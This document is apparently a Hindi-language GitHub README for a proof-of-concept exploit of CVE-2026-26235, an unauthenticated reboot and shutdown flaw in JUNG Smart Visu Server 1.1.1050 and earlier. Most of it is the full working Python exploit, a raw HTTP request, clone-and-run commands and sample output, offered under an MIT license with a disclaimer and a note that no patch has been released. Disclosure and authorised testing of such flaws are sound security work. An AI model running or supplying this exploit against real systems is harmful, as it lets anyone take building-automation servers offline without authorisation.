
# CVE-2026-26235 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट JUNG Smart Visu Server <=1.1.1050 में एक अनप्रमाणित डिनायल-ऑफ-सर्विस भेद्यता, जो उजागर CGI एंडपॉइंट्स के माध्यम से रिमोट रीबूट या शटडाउन की अनुमति देती है।
मोहम्मद इदरीस बन्यामेर
CVE-2026-26235 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट - JUNG Smart Visu Server ≤ 1.1.1050 में लापता प्रमाणीकरण के माध्यम से बिना प्रमाणीकरण के सेवा से इनकार (Denial of Service)।
CVE-2026-26235 JUNG Smart Visu Server संस्करण ≤ 1.1.1050 में एक बिना प्रमाणीकरण के सेवा से इनकार (denial of service) भेद्यता है। यह उत्पाद महत्वपूर्ण सिस्टम प्रबंधन कार्यों के लिए प्रमाणीकरण लागू करने में विफल रहता है, जिससे दूरस्थ हमलावर एक ही POST अनुरोध के साथ सर्वर को रीबूट या बंद कर सकते हैं।
एंडपॉइंट /cgi-bin/reboot.sh और /cgi-bin/shutdown.sh बिना किसी प्रमाणीकरण जांच के उजागर होते हैं। इन सिस्टम-स्तरीय कमांड को ट्रिगर करने के लिए कोई सत्र टोकन, API कुंजी या क्रेडेंशियल की आवश्यकता नहीं है।
यह अनुमति देता है:
| स्थिति | संस्करण |
|---|---|
| ❌ कमजोर | JUNG Smart Visu Server ≤ 1.1.1050 |
| ✅ पैच किया गया | अभी तक जारी नहीं किया गया |
परीक्षण किया गया: JUNG Smart Visu Server 1.1.1050, एम्बेडेड लिनक्स
/cgi-bin/reboot.sh और /cgi-bin/shutdown.sh सार्वजनिक रूप से सुलभ हैंहमलावर → POST /cgi-bin/reboot.sh → कोई प्रमाणीकरण जांच नहीं → सिस्टम रीबूट → DoS
हमलावर → POST /cgi-bin/shutdown.sh → कोई प्रमाणीकरण जांच नहीं → सिस्टम शटडाउन → DoS
#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)
import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def print_banner():
print("\n" + "="*60)
print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
print(" CVE-2026-26235 | CWE-306")
print("="*60 + "\n")
def exploit(target, action="reboot", verify_ssl=False, timeout=10):
endpoints = {
"reboot": "/cgi-bin/reboot.sh",
"shutdown": "/cgi-bin/shutdown.sh"
}
if action not in endpoints:
print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
return False
url = f"{target.rstrip('/')}{endpoints[action]}"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Cache-Control": "max-age=0",
"Origin": target.rstrip('/'),
"Referer": f"{target.rstrip('/')}/",
"DNT": "1",
"Sec-GPC": "1"
}
print(f"[*] Target : {url}")
print(f"[*] Action : {action.upper()}")
print(f"[*] SSL Verify : {verify_ssl}")
print("[*] Sending unauthenticated POST request...\n")
try:
response = requests.post(
url,
headers=headers,
data="",
verify=verify_ssl,
timeout=timeout,
allow_redirects=False
)
print(f"[+] Request sent successfully!")
print(f"[+] HTTP Status : {response.status_code}")
if response.status_code == 200:
print("[!] Server responded with 200 OK - action likely executed")
elif response.status_code == 302 or response.status_code == 301:
print("[!] Server responded with redirect - action may have been triggered")
else:
print(f"[?] Unexpected response code: {response.status_code}")
if response.text:
print(f"[*] Response preview: {response.text[:200].strip()}")
print("\n[!] If successful, the target server should now be restarting or shutting down.")
return True
except requests.exceptions.Timeout:
print("[-] Connection timeout. The server may be down or unreachable.")
print("[*] This could indicate successful DoS if the server was previously reachable.")
return True
except requests.exceptions.ConnectionError as e:
print(f"[-] Connection error: {e}")
print("[*] The server may have gone down - possibly successful exploitation.")
return True
except Exception as e:
print(f"[-] An error occurred: {e}")
return False
def main():
print_banner()
parser = argparse.ArgumentParser(
description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
)
parser.add_argument(
"target",
help="Target server URL (e.g., https://192.168.1.100:8080)"
)
parser.add_argument(
"-a", "--action",
choices=["reboot", "shutdown"],
default="reboot",
help="Action to perform: reboot or shutdown (default: reboot)"
)
parser.add_argument(
"-k", "--insecure",
action="store_false",
dest="verify_ssl",
default=False,
help="Disable SSL certificate verification (default: disabled)"
)
parser.add_argument(
"-t", "--timeout",
type=int,
default=10,
help="Request timeout in seconds (default: 10)"
)
args = parser.parse_args()
print(f"[*] Starting exploit against: {args.target}\n")
success = exploit(
target=args.target,
action=args.action,
verify_ssl=args.verify_ssl,
timeout=args.timeout
)
if success:
print("\n[+] Exploit completed successfully.")
else:
print("\n[-] Exploit failed.")
sys.exit(1)
if __name__ == "__main__":
main()
POST /cgi-bin/reboot.sh HTTP/1.1
Host: 192.168.1.100:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Cache-Control: max-age=0
Origin: http://192.168.1.100:8080
Referer: http://192.168.1.100:8080/
DNT: 1
Sec-GPC: 1
Content-Length: 0
git clone https://github.com/banyamer-security/CVE-2026-26235.git
cd CVE-2026-26235
pip install requests
chmod +x CVE-2026-26235.py
python3 CVE-2026-26235.py https://192.168.1.100:8080
python3 CVE-2026-26235.py https://192.168.1.100:8080 -a shutdown
python3 CVE-2026-26235.py https://smartvisu.local -k
python3 CVE-2026-26235.py https://192.168.1.100:8080 -t 15
python3 CVE-2026-26235.py -h
============================================================
JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC
CVE-2026-26235 | CWE-306
============================================================
[*] Starting exploit against: https://192.168.1.100:8080
[*] Target : https://192.168.1.100:8080/cgi-bin/reboot.sh
[*] Action : REBOOT
[*] SSL Verify : False
[*] Sending unauthenticated POST request...
[+] Request sent successfully!
[+] HTTP Status : 200
[!] Server responded with 200 OK - action likely executed
[!] If successful, the target server should now be restarting.
[+] Exploit completed successfully.
मोहम्मद इदरीस बन्यामेर
यह प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। लेखक इस सॉफ़्टवेयर के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।
उन सिस्टमों के खिलाफ अनधिकृत परीक्षण जिनके आप मालिक नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है।
MIT लाइसेंस
कॉपीराइट (c) 2026 मोहम्मद इदरीस बन्यामेर
इसके द्वारा, किसी भी व्यक्ति को इस सॉफ़्टवेयर और संबंधित दस्तावेज़ फ़ाइलों ("सॉफ़्टवेयर") की एक प्रति प्राप्त करने पर, बिना किसी प्रतिबंध के सॉफ़्टवेयर में व्यवहार करने की अनुमति निःशुल्क दी जाती है, जिसमें बिना किसी प्रतिबंध के उपयोग, प्रतिलिपि, संशोधन, विलय, प्रकाशित, वितरित, उपलाइसेंस और/या सॉफ़्टवेयर की प्रतियां बेचने के अधिकार शामिल हैं, और उन व्यक्तियों को अनुमति देने के लिए जिन्हें सॉफ़्टवेयर प्रदान किया गया है, निम्नलिखित शर्तों के अधीन:
उपरोक्त कॉपीराइट नोटिस और यह अनुमति नोटिस सॉफ़्टवेयर की सभी प्रतियों या महत्वपूर्ण भागों में शामिल किए जाएंगे।
सॉफ़्टवेयर "जैसा है" प्रदान किया जाता है, बिना किसी प्रकार की वारंटी के, व्यक्त या निहित, जिसमें व्यापारिकता, किसी विशेष उद्देश्य के लिए उपयुक्तता और उल्लंघन की वारंटी शामिल हैं लेकिन इन्हीं तक सीमित नहीं। किसी भी स्थिति में लेखक या कॉपीराइट धारक किसी भी दावे, क्षति या अन्य दायित्व के लिए उत्तरदायी नहीं होंगे, चाहे वह अनुबंध, टोर्ट या अन्यथा के कार्य में हो, जो सॉफ़्टवेयर से या सॉफ़्टवेयर के उपयोग या अन्य लेन-देन से उत्पन्न होता है या उससे संबंधित है।
यदि इस एक्सप्लॉइट ने आपके शोध या परीक्षण में मदद की:
जिम्मेदार प्रकटीकरण • सुरक्षा अनुसंधान • CVE-2026-26235
| वेक्टर | विवरण |
|---|
| CVSS v4 | 8.7 (उच्च) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| प्रमाणीकरण | कोई नहीं - पूरी तरह से बिना प्रमाणीकरण |
| हमला वेक्टर | नेटवर्क |
| जटिलता | कम |
| प्रभाव | उच्च उपलब्धता प्रभाव |